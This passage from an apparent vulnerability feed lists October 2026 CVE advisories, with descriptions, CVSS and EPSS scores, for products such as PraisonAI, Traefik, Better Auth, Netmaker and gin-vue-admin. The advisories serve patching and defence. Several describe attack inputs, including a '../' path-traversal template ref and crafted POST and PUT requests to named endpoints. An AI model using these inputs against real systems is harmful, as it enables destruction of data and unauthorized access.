EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-10743&date=2026-10-25).
Sources:
NVD CVE-2026-10743: https://nvd.nist.gov/vuln/detail/CVE-2026-10743
Vendor advisory (via NVD references): https://www.ibm.com/support/pages/node/7292667
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-10743&date=2026-10-25
IBM MQ could allow an authenticated attacker to cause a denial of service or corrupt memory due to improper validation of buffer sizes in MQOPEN operations.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### In Splunk SOAR versions below 8.7.0, a user that holds a role with the Users and Roles view permission could use the Representational State Transfer (REST) API to infer...
https://kevwire.com/record/CVE-2026-76307
In Splunk SOAR versions below 8.7.0, a user that holds a role with the Users and Roles view permission could use the Representational State Transfer (REST) API to infer... (Oct 21, 2026).
In Splunk SOAR versions below 8.7.0, a user that holds a role with the Users and Roles view permission could use the Representational State Transfer (REST) API to infer authentication token values for other users. If the inferred token grants administrative access, that user could gain administrative access to the Splunk SOAR instance.
The vulnerability is possible because the REST API accepts caller-controlled query filters on sensitive user record fields.
For more information see Using the REST API reference for Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/7.1.0/using-the-splunk-soar-rest-api/using-the-rest-api-reference-for-splunk-soar-on-premises), Query for Data (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/7.1.0/using-the-splunk-soar-rest-api/query-for-data), and Manage roles and permissions in Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/administer-soar-on-premises/6.4.0/manage-your-splunk-soar-on-premises-users-and-accounts/manage-roles-and-permissions-in-splunk-soar-on-premises) in the Splunk documentation.
CVSS 7.2 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76307).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76307&date=2026-10-25).
Sources:
NVD CVE-2026-76307: https://nvd.nist.gov/vuln/detail/CVE-2026-76307
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76307&date=2026-10-25
In Splunk SOAR versions below 8.7.0, a user that holds a role with the Users and Roles view permission could use the Representational State Transfer (REST) API to infer authentication token values for other users. If the inferred token grants administrative access, that user could gain administrative access to the Splunk SOAR instance.
The vulnerability is possible because the REST API accepts caller-controlled query filters on sensitive user record fields.
For more information see Using the REST API reference for Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/7.1.0/using-the-splunk-soar-rest-api/using-the-rest-api-reference-for-splunk-soar-on-premises), Query for Data (https://help.splunk.com/en/splunk-soar/soar-on-premises/rest-api-reference/7.1.0/using-the-splunk-soar-rest-api/query-for-data), and Manage roles and permissions in Splunk SOAR (On-premises) (https://help.splunk.com/en/splunk-soar/soar-on-premises/administer-soar-on-premises/6.4.0/manage-your-splunk-soar-on-premises-users-and-accounts/manage-roles-and-permissions-in-splunk-soar-on-premises) in the Splunk documentation.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-57121
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 0.1.4 to before version 0.1.5 in praisonai-platform, a workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly. This issue has been patched in version 0.1.5.
CVSS 8.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57121).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57121&date=2026-10-25).
Sources:
NVD CVE-2026-57121: https://nvd.nist.gov/vuln/detail/CVE-2026-57121
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57121&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 0.1.4 to before version 0.1.5 in praisonai-platform, a workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly. This issue has been patched in version 0.1.5.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### PraisonAI is a multi-agent teams system.
https://kevwire.com/record/CVE-2026-57113
PraisonAI is a multi-agent teams system. (Oct 23, 2026).
PraisonAI is a multi-agent teams system. From version 2.6.0 to before version 4.6.59, PraisonAI's template loader accepts GitHub template URIs with refs, for example github:owner/repo/template@v1.0.0. The resolver stores the user-controlled template path and ref verbatim, and the cache layer later joins those values into ~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without normalizing each segment or checking that the final path remains inside the template cache root. A crafted ref such as ../../../../../../outside-delete-target therefore escapes the cache directory. The first load can write .cache_meta.json outside the cache. If the normal cache hierarchy for the same owner/repo/template has already been created, the same path reaches shutil.rmtree(cache_path) and removes an attacker-selected outside directory before replacing it with cache metadata. This issue has been patched in version 4.6.59.
CVSS 8.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-57113).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-57113&date=2026-10-25).
Sources:
NVD CVE-2026-57113: https://nvd.nist.gov/vuln/detail/CVE-2026-57113
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=9000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-57113&date=2026-10-25
PraisonAI is a multi-agent teams system. From version 2.6.0 to before version 4.6.59, PraisonAI's template loader accepts GitHub template URIs with refs, for example github:owner/repo/template@v1.0.0. The resolver stores the user-controlled template path and ref verbatim, and the cache layer later joins those values into ~/.praison/cache/templates/github/<owner>/<repo>/<template>/<ref> without normalizing each segment or checking that the final path remains inside the template cache root. A crafted ref such as ../../../../../../outside-delete-target therefore escapes the cache directory. The first load can write .cache_meta.json outside the cache. If the normal cache hierarchy for the same owner/repo/template has already been created, the same path reaches shutil.rmtree(cache_path) and removes an attacker-selected outside directory before replacing it with cache metadata. This issue has been patched in version 4.6.59.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### AgenticSeek before commit 409840c contains a remote code execution vulnerability because llm_server/app.py hardcodes Flask debug mode while binding to all interfaces.
https://kevwire.com/record/CVE-2026-115727
AgenticSeek before commit 409840c contains a remote code execution vulnerability because llm_server/app.py hardcodes Flask debug mode while binding to all interfaces. (Oct 23, 2026).
AgenticSeek before commit 409840c contains a remote code execution vulnerability because llm_server/app.py hardcodes Flask debug mode while binding to all interfaces. Attackers who reach the server port and obtain the derivable Werkzeug debugger PIN can execute Python code and operating system commands with llm_server privileges.
CVSS 9.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115727).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115727&date=2026-10-25).
Sources:
NVD CVE-2026-115727: https://nvd.nist.gov/vuln/detail/CVE-2026-115727
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115727&date=2026-10-25
AgenticSeek before commit 409840c contains a remote code execution vulnerability because llm_server/app.py hardcodes Flask debug mode while binding to all interfaces. Attackers who reach the server port and obtain the derivable Werkzeug debugger PIN can execute Python code and operating system commands with llm_server privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Snap7 through 1.4.3 contains an out-of-bounds write vulnerability in the passive partner that allows a malicious active partner to overflow application buffers by declaring an...
https://kevwire.com/record/CVE-2026-115723
Snap7 through 1.4.3 contains an out-of-bounds write vulnerability in the passive partner that allows a malicious active partner to overflow application buffers by declaring an... (Oct 23, 2026).
Snap7 through 1.4.3 contains an out-of-bounds write vulnerability in the passive partner that allows a malicious active partner to overflow application buffers by declaring an unvalidated BSend total length. Attackers connecting from the configured peer address can declare up to 65535 bytes and send a short fragment, causing BRecv to memcpy past the buffer and crash or corrupt SCADA, HMI or gateway processes.
CVSS 8.3 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115723).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115723&date=2026-10-25).
Sources:
NVD CVE-2026-115723: https://nvd.nist.gov/vuln/detail/CVE-2026-115723
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115723&date=2026-10-25
Snap7 through 1.4.3 contains an out-of-bounds write vulnerability in the passive partner that allows a malicious active partner to overflow application buffers by declaring an unvalidated BSend total length. Attackers connecting from the configured peer address can declare up to 65535 bytes and send a short fragment, causing BRecv to memcpy past the buffer and crash or corrupt SCADA, HMI or gateway processes.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Lotus through 0.10.2 contains an improper authentication vulnerability in the Go event ingestion middleware that validates API keys by prefix only, without checking the secret...
https://kevwire.com/record/CVE-2026-115333
Lotus through 0.10.2 contains an improper authentication vulnerability in the Go event ingestion middleware that validates API keys by prefix only, without checking the secret... (Oct 22, 2026).
Lotus through 0.10.2 contains an improper authentication vulnerability in the Go event ingestion middleware that validates API keys by prefix only, without checking the secret against the stored hashed_key. Attackers who know or obtain an API key prefix can submit usage events to POST /api/track/ as that organization, altering its metered usage and billing.
CVSS 8.2 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115333).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115333&date=2026-10-25).
Sources:
NVD CVE-2026-115333: https://nvd.nist.gov/vuln/detail/CVE-2026-115333
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115333&date=2026-10-25
Lotus through 0.10.2 contains an improper authentication vulnerability in the Go event ingestion middleware that validates API keys by prefix only, without checking the secret against the stored hashed_key. Attackers who know or obtain an API key prefix can submit usage events to POST /api/track/ as that organization, altering its metered usage and billing.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Netmaker through 1.7.0 contains an authorization bypass vulnerability in the updateExtClient handler that allows network-scoped users to modify external clients on other networks.
https://kevwire.com/record/CVE-2026-115325
Netmaker through 1.7.0 contains an authorization bypass vulnerability in the updateExtClient handler that allows network-scoped users to modify external clients on other networks. (Oct 22, 2026).
Netmaker through 1.7.0 contains an authorization bypass vulnerability in the updateExtClient handler that allows network-scoped users to modify external clients on other networks. Attackers with external client permissions on one network can send PUT requests to /api/extclients/{network}/{clientid} to replace public keys, disable clients, and obtain WireGuard private keys.
CVSS 8.7 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-115325).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-115325&date=2026-10-25).
Sources:
NVD CVE-2026-115325: https://nvd.nist.gov/vuln/detail/CVE-2026-115325
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-115325&date=2026-10-25
Netmaker through 1.7.0 contains an authorization bypass vulnerability in the updateExtClient handler that allows network-scoped users to modify external clients on other networks. Attackers with external client permissions on one network can send PUT requests to /api/extclients/{network}/{clientid} to replace public keys, disable clients, and obtain WireGuard private keys.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Vyper 0.4.0b1 through 0.5.0b1 miscompiles unfoldable constants and omitted default arguments from imported modules, because parse_Name resolves their names in the using function's...
https://kevwire.com/record/CVE-2026-114663
Vyper 0.4.0b1 through 0.5.0b1 miscompiles unfoldable constants and omitted default arguments from imported modules, because parse_Name resolves their names in the using function's... (Oct 22, 2026).
Vyper 0.4.0b1 through 0.5.0b1 miscompiles unfoldable constants and omitted default arguments from imported modules, because parse_Name resolves their names in the using function's scope rather than at declaration. When a contract's parameter, local, or loop variable shares such a name, attacker-influenced input can replace the intended value, including out-of-range values for narrow types such as uint8, corrupting validation or accounting logic.
CVSS 8.6 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114663).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114663&date=2026-10-25).
Sources:
NVD CVE-2026-114663: https://nvd.nist.gov/vuln/detail/CVE-2026-114663
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114663&date=2026-10-25
Vyper 0.4.0b1 through 0.5.0b1 miscompiles unfoldable constants and omitted default arguments from imported modules, because parse_Name resolves their names in the using function's scope rather than at declaration. When a contract's parameter, local, or loop variable shares such a name, attacker-influenced input can replace the intended value, including out-of-range values for narrow types such as uint8, corrupting validation or accounting logic.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Grav Flex Objects plugin 1.4.0 before 1.4.17 contains an authorization bypass because its generic /api/v1/flex-objects/pages API routes check only directory-level admin.pages...
https://kevwire.com/record/CVE-2026-114659
Grav Flex Objects plugin 1.4.0 before 1.4.17 contains an authorization bypass because its generic /api/v1/flex-objects/pages API routes check only directory-level admin.pages... (Oct 22, 2026).
Grav Flex Objects plugin 1.4.0 before 1.4.17 contains an authorization bypass because its generic /api/v1/flex-objects/pages API routes check only directory-level admin.pages permissions, without enforcing the Pages API's api.pages.read/write permissions or page-level permissions rules. Authenticated non-super users with api.access and admin.pages or admin.configuration.pages permissions can read page source and frontmatter, modify content, or delete pages they are denied.
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114659).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114659&date=2026-10-25).
Sources:
NVD CVE-2026-114659: https://nvd.nist.gov/vuln/detail/CVE-2026-114659
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114659&date=2026-10-25
Grav Flex Objects plugin 1.4.0 before 1.4.17 contains an authorization bypass because its generic /api/v1/flex-objects/pages API routes check only directory-level admin.pages permissions, without enforcing the Pages API's api.pages.read/write permissions or page-level permissions rules. Authenticated non-super users with api.access and admin.pages or admin.configuration.pages permissions can read page source and frontmatter, modify content, or delete pages they are denied.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 stores its NTLM/Kerberos backend round tripper in a client-connection slot not keyed by ServersTransport, so one service's...
https://kevwire.com/record/CVE-2026-114642
Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 stores its NTLM/Kerberos backend round tripper in a client-connection slot not keyed by ServersTransport, so one service's... (Oct 22, 2026).
Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 stores its NTLM/Kerberos backend round tripper in a client-connection slot not keyed by ServersTransport, so one service's TLS client configuration is reused for another service's backend. An unauthenticated client can arm the slot via a backend issuing an NTLM or Negotiate challenge, then reach another service on the same keep-alive connection, bypassing its root CAs, server name, and certificate verification.
CVSS 7.0 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114642).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114642&date=2026-10-25).
Sources:
NVD CVE-2026-114642: https://nvd.nist.gov/vuln/detail/CVE-2026-114642
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114642&date=2026-10-25
Traefik 2.11.0 before 2.11.58 and 3.0.0 before 3.7.14 stores its NTLM/Kerberos backend round tripper in a client-connection slot not keyed by ServersTransport, so one service's TLS client configuration is reused for another service's backend. An unauthenticated client can arm the slot via a backend issuing an NTLM or Negotiate challenge, then reach another service on the same keep-alive connection, bypassing its root CAs, server name, and certificate verification.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Traefik v3.7.0 before v3.7.14 contains an improper authentication vulnerability in the Kubernetes Ingress NGINX provider that merges client CAs when auth-tls-secret names collide...
https://kevwire.com/record/CVE-2026-114638
Traefik v3.7.0 before v3.7.14 contains an improper authentication vulnerability in the Kubernetes Ingress NGINX provider that merges client CAs when auth-tls-secret names collide... (Oct 22, 2026).
Traefik v3.7.0 before v3.7.14 contains an improper authentication vulnerability in the Kubernetes Ingress NGINX provider that merges client CAs when auth-tls-secret names collide after dot-to-dash normalization. Attackers holding certificates from another host's CA can access a host requiring its own client CA, while that host's legitimate clients are refused.
CVSS 7.0 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114638).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114638&date=2026-10-25).
Sources:
NVD CVE-2026-114638: https://nvd.nist.gov/vuln/detail/CVE-2026-114638
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114638&date=2026-10-25
Traefik v3.7.0 before v3.7.14 contains an improper authentication vulnerability in the Kubernetes Ingress NGINX provider that merges client CAs when auth-tls-secret names collide after dot-to-dash normalization. Attackers holding certificates from another host's CA can access a host requiring its own client CA, while that host's legitimate clients are refused.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Better Auth is an authentication and authorization library for TypeScript.
https://kevwire.com/record/CVE-2026-114607
Better Auth is an authentication and authorization library for TypeScript. (Oct 22, 2026).
Better Auth is an authentication and authorization library for TypeScript. From 1.4.0-beta.18 until 1.7.7, deployments that enable Magic Link with storeToken set to plain, or with storeToken set to hashed and the global verification.storeIdentifier setting also set to hashed, enable a built-in social or Generic OAuth provider, and use account.storeStateStrategy set to database can accept an OAuth sign-in state value as a Magic Link token. These settings can cause Magic Link verification records and OAuth state to resolve to the same stored identifier, allowing an unauthenticated attacker to start OAuth sign-in for a known email address and redeem the returned state through Magic Link without controlling the mailbox or completing the provider callback. The attacker can obtain a normal session for an existing user, or create an account incorrectly marked as email verified when sign-up is enabled. This issue is fixed in version 1.7.7.
CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114607).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114607&date=2026-10-25).
Sources:
NVD CVE-2026-114607: https://nvd.nist.gov/vuln/detail/CVE-2026-114607
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114607&date=2026-10-25
Better Auth is an authentication and authorization library for TypeScript. From 1.4.0-beta.18 until 1.7.7, deployments that enable Magic Link with storeToken set to plain, or with storeToken set to hashed and the global verification.storeIdentifier setting also set to hashed, enable a built-in social or Generic OAuth provider, and use account.storeStateStrategy set to database can accept an OAuth sign-in state value as a Magic Link token. These settings can cause Magic Link verification records and OAuth state to resolve to the same stored identifier, allowing an unauthenticated attacker to start OAuth sign-in for a known email address and redeem the returned state through Magic Link without controlling the mailbox or completing the provider callback. The attacker can obtain a normal session for an existing user, or create an account incorrectly marked as email verified when sign-up is enabled. This issue is fixed in version 1.7.7.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### gin-vue-admin through 2.9.2 contains a path traversal vulnerability that allows authenticated administrators to recursively delete arbitrary directories by supplying traversal...
https://kevwire.com/record/CVE-2026-114492
gin-vue-admin through 2.9.2 contains a path traversal vulnerability that allows authenticated administrators to recursively delete arbitrary directories by supplying traversal... (Oct 21, 2026).
gin-vue-admin through 2.9.2 contains a path traversal vulnerability that allows authenticated administrators to recursively delete arbitrary directories by supplying traversal sequences in the pluginName parameter. Attackers can send a crafted POST request to /autoCode/removePlugin with '../' sequences, causing os.RemoveAll to delete any directory writable by the server process.
CVSS 7.0 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114492).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114492&date=2026-10-25).
Sources:
NVD CVE-2026-114492: https://nvd.nist.gov/vuln/detail/CVE-2026-114492
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114492&date=2026-10-25
gin-vue-admin through 2.9.2 contains a path traversal vulnerability that allows authenticated administrators to recursively delete arbitrary directories by supplying traversal sequences in the pluginName parameter. Attackers can send a crafted POST request to /autoCode/removePlugin with '../' sequences, causing os.RemoveAll to delete any directory writable by the server process.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in Goose. When the terminal integration feature is enabled, the application captures shell command history and sends it verbatim without sanitization to...
https://kevwire.com/record/CVE-2026-111079
A flaw was found in Goose. When the terminal integration feature is enabled, the application captures shell command history and sends it verbatim without sanitization to... (Oct 22, 2026).
A flaw was found in Goose. When the terminal integration feature is enabled, the application captures shell command history and sends it verbatim without sanitization to configured Large Language Model (LLM) provider endpoints during queries. If a user enters sensitive data—such as API tokens, passwords, or environment variables containing secrets—in the terminal, this unredacted information is transmitted across trust boundaries. This can lead to sensitive information disclosure, exposing confidential credentials to external service providers and logs.
CVSS 7.4 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-111079).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-111079&date=2026-10-25).
Sources:
NVD CVE-2026-111079: https://nvd.nist.gov/vuln/detail/CVE-2026-111079
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-111079&date=2026-10-25
A flaw was found in Goose. When the terminal integration feature is enabled, the application captures shell command history and sends it verbatim without sanitization to configured Large Language Model (LLM) provider endpoints during queries. If a user enters sensitive data—such as API tokens, passwords, or environment variables containing secrets—in the terminal, this unredacted information is transmitted across trust boundaries. This can lead to sensitive information disclosure, exposing confidential credentials to external service providers and logs.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw was found in multicluster-global-hub-operator-bundle. The operator is configured with overly broad role-based access control (RBAC) permissions that grant cluster-wide...
https://kevwire.com/record/CVE-2026-110744
A flaw was found in multicluster-global-hub-operator-bundle. The operator is configured with overly broad role-based access control (RBAC) permissions that grant cluster-wide... (Oct 21, 2026).
A flaw was found in multicluster-global-hub-operator-bundle. The operator is configured with overly broad role-based access control (RBAC) permissions that grant cluster-wide impersonation of arbitrary users, groups, and service accounts without restriction. An attacker who compromises the operator or obtains its service account credentials can exploit this flaw to achieve privilege escalation, gaining full administrative control over the cluster.
CVSS 7.2 (version 3.1; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-110744).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110744&date=2026-10-25).
Sources:
NVD CVE-2026-110744: https://nvd.nist.gov/vuln/detail/CVE-2026-110744
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110744&date=2026-10-25
A flaw was found in multicluster-global-hub-operator-bundle. The operator is configured with overly broad role-based access control (RBAC) permissions that grant cluster-wide impersonation of arbitrary users, groups, and service accounts without restriction. An attacker who compromises the operator or obtains its service account credentials can exploit this flaw to achieve privilege escalation, gaining full administrative control over the cluster.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### JetBackup plugin for WordPress before 3.1.24.10 contains a symlink-based arbitrary file write vulnerability that allows an authenticated WordPress administrator to write...
https://kevwire.com/record/CVE-2026-104068
JetBackup plugin for WordPress before 3.1.24.10 contains a symlink-based arbitrary file write vulnerability that allows an authenticated WordPress administrator to write... (Oct 22, 2026).
JetBackup plugin for WordPress before 3.1.24.10 contains a symlink-based arbitrary file write vulnerability that allows an authenticated WordPress administrator to write attacker-controlled file contents outside the intended restore destination during backup import and restore. Attackers can craft a backup archive containing a symbolic link that archive extraction follows without validating targets or enforcing destination containment, potentially leading to server-side code execution depending on the writable destination and server configuration.
CVSS 8.6 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104068).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104068&date=2026-10-25).
Sources:
NVD CVE-2026-104068: https://nvd.nist.gov/vuln/detail/CVE-2026-104068
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500
